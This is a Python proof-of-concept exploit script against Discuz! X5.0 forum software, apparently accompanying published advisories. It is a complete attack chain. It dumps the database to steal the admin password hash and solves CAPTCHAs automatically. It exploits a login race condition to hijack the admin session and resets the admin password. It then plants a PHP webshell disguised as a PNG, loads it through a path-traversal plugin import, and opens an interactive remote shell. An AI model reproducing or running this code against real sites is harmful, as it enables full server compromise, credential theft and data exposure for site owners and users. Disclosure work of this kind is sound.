#    ------------------------------------------
#    Discuz! X5.0 Remote Code Execution Exploit
#    ------------------------------------------
#    
#    author..............: Egidio Romano aka EgiX
#    mail................: n0b0d13s[at]gmail[dot]com
#    software link.......: https://www.discuz.vip
#    
#    +-------------------------------------------------------------------------+
#    | This proof of concept code was written for educational purpose only.    |
#    | Use it at your own risk. Author will be not responsible for any damage. |
#    +-------------------------------------------------------------------------+
#    
#    [-] Original Advisories:
#
#    https://karmainsecurity.com/KIS-2026-09
#    https://karmainsecurity.com/KIS-2026-10
#    https://karmainsecurity.com/KIS-2026-11
#
#    [-] Technical Writeup:
#
#    https://karmainsecurity.com/chaining-bugs-in-discuz-from-race-condition-to-rce

import subprocess
import threading
import requests
import secrets
import base64
import time
import sys
import re


def get_authcode(url, payload):
	params = {"username": payload, "password": 1, "lssubmit": 1}
	res = requests.post(url + "member.php?mod=logging&action=login&loginsubmit=yes", data=params)
	match = re.search(r"auth=([^&]+)", res.text)
	
	return match.group(1) if match else sys.exit("[!] Exploit failed: authcode not found")	


def register_user(url, admin_md5):
	username = admin_md5 + "\t1\t" + secrets.token_hex(4)
	
	print("[+] Registering new 'special' user")
	print(f"[+] Username: {username}")
	
	session = requests.Session()
	res = session.get(url + "member.php?mod=register")
	match = re.search(r'<input\s+type="hidden"\s+name="formhash"\s+value="([^"]+)"', res.text)
	formhash = match.group(1) if match else sys.exit("[!] Exploit failed: formhash not found")
	match = re.search(r"updateseccode\('([^']+)", res.text)
	seccode = match.group(1) if match else False
	pwd_ids = re.findall(r'<input\s+type="password"\s+id="([^"]+)"', res.text)
	fields_ids = re.findall(r'<input\s+type="text"\s+id="([^"]+)"', res.text)
	
	if len(pwd_ids) != 2:
		sys.exit(f"[!] Exploit failed: expected 2 password fields, found {len(pwd_ids)}")
	
	if len(fields_ids) != 2:
		sys.exit(f"[!] Exploit failed: expected 2 fields, found {len(fields_ids)}")
		
	username_field, email_field = fields_ids
	params = {"regsubmit": "yes", "formhash": formhash, "referer": url,  username_field: username, pwd_ids[0]: "password", pwd_ids[1]: "password", email_field: secrets.token_hex(8) + "@qq.com"}
	
	if seccode:
		print("[+] CAPTCHA is enabled")
		
		res = session.get(url + f"misc.php?mod=seccode&action=update&modid=member::register&idhash={seccode}")
		match = re.search(r'update=(\d+)', res.text)
		magic_number = match.group(1) if match else sys.exit("[!] Exploit failed: magic_number not found")
		
		print("[+] Downloading CAPTCHA")
		
		res = session.get(url + f"misc.php?mod=seccode&update={magic_number}&idhash={seccode}", headers={"Referer": url})
		
		if (res.status_code != 200):
			sys.exit("[!] Exploit failed: unable to download CAPTCHA")
		
		with open("CAPTCHA.png", "wb") as f:
			    f.write(res.content)
			    
		seccodeverify = subprocess.check_output(["python3", "infer.py", "CAPTCHA.png"], text=True).strip()
		
		print(f"[+] CAPTCHA prediction: {seccodeverify}")
		
		res = session.get(url + f"misc.php?mod=seccode&action=check&inajax=1&modid=member::register&idhash={seccode}&secverify={seccodeverify}")
		
		if not "succeed" in res.text:
			sys.exit("[!] Exploit failed: unable to recognize CAPTCHA")
		
		params["seccodehash"] = seccode
		params["seccodemodid"] = "member::register"
		params["seccodeverify"] = seccodeverify
	
	res = session.post(url + "member.php?mod=register&inajax=1", data=params)
	
	if not "succeedmessage" in res.text:
		sys.exit("[!] Exploit failed: unable to finalize registration")
	
	return username


def do_import(import_url):
	requests.get(import_url, timeout=None)


def do_login_race(url, username, import_url):
	session = requests.Session()
	res = session.get(url + "member.php?mod=logging&action=login")
	match = re.search(r'<input\s+type="hidden"\s+name="formhash"\s+value="([^"]+)"', res.text)
	formhash = match.group(1) if match else sys.exit("[!] Exploit failed: formhash not found")
	
	match = re.search(r"updateseccode\('([^']+)", res.text)
	seccode = match.group(1) if match else False
	
	params = {"formhash": formhash, "referer": url,  "username": username, "password": "password", "questionid": 0}
	
	if seccode:
		print("[+] CAPTCHA is enabled")

		res = session.get(url + f"misc.php?mod=seccode&action=update&modid=member::logging&idhash={seccode}")
		match = re.search(r'update=(\d+)', res.text)
		magic_number = match.group(1) if match else sys.exit("[!] Exploit failed: magic_number not found")
		
		print("[+] Downloading CAPTCHA")
		
		res = session.get(url + f"misc.php?mod=seccode&update={magic_number}&idhash={seccode}", headers={"Referer": url})
		
		if (res.status_code != 200):
			sys.exit("[!] Exploit failed: unable to download CAPTCHA")
		
		with open("CAPTCHA.png", "wb") as f:
			    f.write(res.content)
		
		seccodeverify = subprocess.check_output(["python3", "infer.py", "CAPTCHA.png"], text=True).strip()
		
		print(f"[+] CAPTCHA prediction: {seccodeverify}")
					
		params["seccodehash"] = seccode
		params["seccodemodid"] = "member::logging"
		params["seccodeverify"] = seccodeverify
		
		res = session.get(url + f"misc.php?mod=seccode&action=check&inajax=1&modid=member::logging&idhash={seccode}&secverify={seccodeverify}")
		
		if not "succeed" in res.text:
			sys.exit("[!] Exploit failed: unable to recognize CAPTCHA")
				
	print("[+] Performing race condition attack")
	
	th = threading.Thread(target=do_import, args=(import_url,))
	th.daemon = True
	th.start()
	
	res = session.post(url + "member.php?mod=logging&action=login&loginsubmit=yes&inajax=1", data=params)
	
	return res.text, session.cookies
	

def reset_admin_password(url, admin_cookies):
	print("[+] Resetting admin password")
	
	res = requests.get(url + "home.php?mod=spacecp&ac=account", cookies=admin_cookies)
	match = re.search(r'formhash=([^"]+)', res.text)
	formhash = match.group(1) if match else sys.exit("[!] Exploit failed: formhash not found")

	res = requests.get(url + f"home.php?mod=spacecp&ac=account&op=verify&method=chgpassword&formhash={formhash}&handlekey=security_verify&inajax=1", cookies=admin_cookies)
	match = re.search(r'idstring=([^&]+)', res.text)
	idstring = match.group(1) if match else sys.exit("[!] Exploit failed: idstring not found")
	match = re.search(r'sign=([^"]+)', res.text)
	sign = match.group(1) if match else sys.exit("[!] Exploit failed: sign not found")
	
	res = requests.get(url + f"home.php?mod=spacecp&ac=account&op=verify&method=chgpassword&formhash={formhash}&idstring={idstring}&sign={sign}&infloat=yes&handlekey=chgpassword&inajax=1", cookies=admin_cookies)
	match = re.search(r'action="([^"]+)', res.text)
	change_pwd_query = match.group(1).replace("&amp;", "&") if match else sys.exit("[!] Exploit failed: change_pwd_query not found")
	
	params = {"formhash": formhash, "referer": url,  "newpassword": "hacked", "renewpassword": "hacked", "submit": "true"}
	
	requests.post(url + change_pwd_query, data=params, cookies=admin_cookies)


def do_admincp_login(url, admin_username):
	print("[+] Performing login into admincp")
	
	session = requests.Session()
	res = session.get(url + "admin.php")
	match = re.search(r'<input\s+type="hidden"\s+name="formhash"\s+value="([^"]+)"', res.text)
	formhash = match.group(1) if match else sys.exit("[!] Exploit failed: formhash not found")	
	
	params = {"formhash": formhash, "admin_username": admin_username,  "admin_password": "hacked"}
	
	res = session.post(url + "admin.php", data=params, allow_redirects=False)
	
	if res and res.status_code != 302:
		sys.exit("[!] Exploit failed: admincp login failed")
	
	return session.cookies


def upload_stager(url, admincp_cookies):
	print("[+] As admin: uploading PHP stager as PNG image")
	
	res = requests.get(url + "admin.php?action=nav&operation=headernav&do=edit&id=2", cookies=admincp_cookies)
	match = re.search(r'<input\s+type="hidden"\s+name="formhash"\s+value="([^"]+)"', res.text)
	formhash = match.group(1) if match else sys.exit("[!] Exploit failed: formhash not found")
	
	stager = base64.b64decode("iVBORw0KGgoAAAANSUhEUgAAACUAAAAUCAMAAAA9ZgQ5AAAAb1BMVEU8P3BocCBmaWxlX3B1dF9jb250ZW50cygiZGF0YS9zaC5waHAiLCAiPD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKFwkX1NFUlZFUlsnSFRUUF9DJ10pKTsgPz4iKTsgZGllKCJGTDRHISIpOyA/PiBjLWapAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAN0lEQVQokWNgIA4wMjGzsLKxc3BycfPw8vELCAoJi4iKiUtISknLyMrJKygqKasQadQoGAUDDgAXzQKbCPeK7gAAAABJRU5ErkJggg==")
	params = {"formhash": formhash, "editsubmit": 1}
	files = {"iconnew": ("image.png", stager)}
	
	requests.post(url + "admin.php?action=nav&operation=headernav&do=edit&id=2", cookies=admincp_cookies, data=params, files=files)
	res = requests.get(url + "admin.php?action=nav&operation=headernav&do=edit&id=2", cookies=admincp_cookies)
	match = re.search(r'value="data/attachment/common/cf/([^"]+)', res.text)
	stager_filename = match.group(1) if match else sys.exit("[!] Exploit failed: stager_filename not found")
	
	return stager_filename
	
	
def execute_stager(url, admincp_cookies, stager_filename):
	print("[+] As admin: importing fake plugin")

	xml_data = """
	<root>
		<item id="Title">Discuz! Plugin</item>
		<item id="Data">
			<item id="version">X5.0</item>
			<item id="var">
				<item id="config">
					<item id="pluginvarid">1337</item>
				</item>
			</item>
			<item id="plugin">
				<item id="identifier">PLUGIN_ID</item>
			</item>
		</item>
	</root>
	"""
	
	params = {"dir": "myrepeats"}
	files = {"importfile": ("importfile.xml", xml_data.replace("PLUGIN_ID", "p_" + secrets.token_hex(8)))}
	requests.post(url + "admin.php?action=plugins&operation=import&importtype=file&ignoreversion=1&installtype=", cookies=admincp_cookies, data=params, files=files)
	
	print("[+] As admin: importing Local File Inclusion (LFI) plugin")
	
	xml_data = """
	<root>
		<item id="Title">Discuz! Plugin</item>
		<item id="Data">
			<item id="version">X5.0</item>
			<item id="var">
				<item id="config">
					<item id="pluginvarid">1337</item>
				</item>
			</item>
			<item id="plugin">
				<item id="directory">../../data/attachment/common/cf/</item>
				<item id="identifier">PLUGIN_ID</item>
				<item id="__modules">
					<item id="extra">
						<item id="enablefile">ENABLE_FILE</item>
					</item>
				</item>
			</item>
		</item>
	</root>
	"""

	params = {"dir": "myrepeats"}
	files = {"importfile": ("importfile.xml", xml_data.replace("ENABLE_FILE", stager_filename).replace("PLUGIN_ID", "p_" + secrets.token_hex(8)))}
	
	res = requests.post(url + "admin.php?action=plugins&operation=import&importtype=file&ignoreversion=1&installtype=", cookies=admincp_cookies, data=params, files=files)
	match = re.search(r"`pluginid`='(\d+)", res.text)
	plugin_id = match.group(1) if match else sys.exit("[!] Exploit failed: plugin_id not found")
	
	print("[+] As admin: triggering PHP stager LFI")
	
	res = requests.get(url + "admin.php?action=plugins", cookies=admincp_cookies)
	match = re.search(r'<input\s+type="hidden"\s+name="formhash"\s+value="([^"]+)"', res.text)
	formhash = match.group(1) if match else sys.exit("[!] Exploit failed: formhash not found")
	
	res = requests.get(url + f"admin.php?action=plugins&operation=enable&pluginid={plugin_id}&formhash={formhash}", cookies=admincp_cookies)
	
	if not "PLTEFL4G!" in res.text:
		sys.exit("[!] Exploit failed: LFI attack didn't work")
	
	
def exploit(url):
	print("[+] Getting authcode for DB export")
	
	authcode = get_authcode(url, "method=export&time=9999999999&")
	
	print(f"[+] Authcode: {authcode}")
	print("[+] Exporting DB")
	
	res = requests.get(url + f"api/db/dbbak.php?apptype=discuzx&code={authcode}")
	match = re.search(r"(data/backup_.+\.sql)", res.text)
	backup_file = match.group(1) if match else sys.exit("[!] Exploit failed: couldn't export the DB")		
		
	print("[+] Downloading DB dump")
	
	res = requests.get(url + backup_file)
	
	print("[+] Searching for admin's username and MD5 password hash")
	
	match = re.search(r"common_member VALUES \('1',([^\)]+)", res.text)
	
	if match:
		parts = match.group(1).split(",")
		admin_username = parts[1].strip()[2:]
		admin_username = bytes.fromhex(admin_username).decode('utf-8')
		admin_md5 = parts[3].strip()[2:]
		admin_md5 = bytes.fromhex(admin_md5).decode('ascii')
	else:
		sys.exit("[!] Exploit failed: couldn't find admin's username and MD5 password hash")
	
	print(f"[+] Admin username: {admin_username}")
	print(f"[+] Admin MD5 password: {admin_md5}")
	
	pwning_username = register_user(url, admin_md5)
	
	print("[+] Getting authcode for DB import")
	
	match = re.search(r"data/(backup_[^/]+)", backup_file)
	sqlpath = match.group(1) if match else sys.exit("[!] Exploit failed: sqlpath not found")
	authcode = get_authcode(url, f"method=import&time=9999999999&sqlpath={sqlpath}&")
	import_url = url + f"api/db/dbbak.php?apptype=discuzx&code={authcode}"
	
	print(f"[+] Authcode: {authcode}")
	
	login_res, login_cookies = do_login_race(url, pwning_username, import_url)
	match = re.search(r"auth=([^&]+)", login_res)
	admin_cookie = match.group(1) if match else sys.exit("[!] 😑 Race condition attack failed")	
	
	print("[+] 🏆 Race condition attack success!")
	print(f"[+] Admin authentication cookie: {admin_cookie}")
	print("[+] Waiting for the import process to finish")
	
	while True:
		time.sleep(30)
		try:
			res = requests.get(url)
		except Exception as e:
			pass
		if res and res.status_code == 200:
			break
		print("[+] Still waiting...")
	
	admin_cookies = login_cookies.get_dict()
	first_key = next(iter(admin_cookies))
	prefix = "_".join(first_key.split("_")[:2])
	admin_cookies[f"{prefix}_auth"] = admin_cookie
	
	reset_admin_password(url, admin_cookies)
	admincp_cookies = do_admincp_login(url, admin_username)
	
	stager_filename = upload_stager(url, admincp_cookies)
	execute_stager(url, admincp_cookies, stager_filename)
	
	print("[+] Launching webshell")
	
	while True:
		cmd = input("\ndiscuz-shell# ")
		if cmd == "exit":
			break
		else:
			base64_cmd = base64.b64encode(cmd.encode()).decode()
			phpcode = f"chdir('..'); passthru(base64_decode('{base64_cmd}'));"
			res = requests.get(url + "data/sh.php", headers={"C": base64.b64encode(phpcode.encode()).decode()})
			if res.status_code == 200:
				print(res.text.strip())
			else:
				sys.exit("[!] Exploit failed")	 
	
	
if __name__ == "__main__":
	print("\n+----------------------------------------------------+")	
	print("| Discuz! X5.0 Remote Code Execution Exploit by EgiX |")
	print("+----------------------------------------------------+\n")	
	
	if len(sys.argv) != 2:
		sys.exit("Usage: %s <URL>\n" % sys.argv[0])
		
	exploit(sys.argv[1])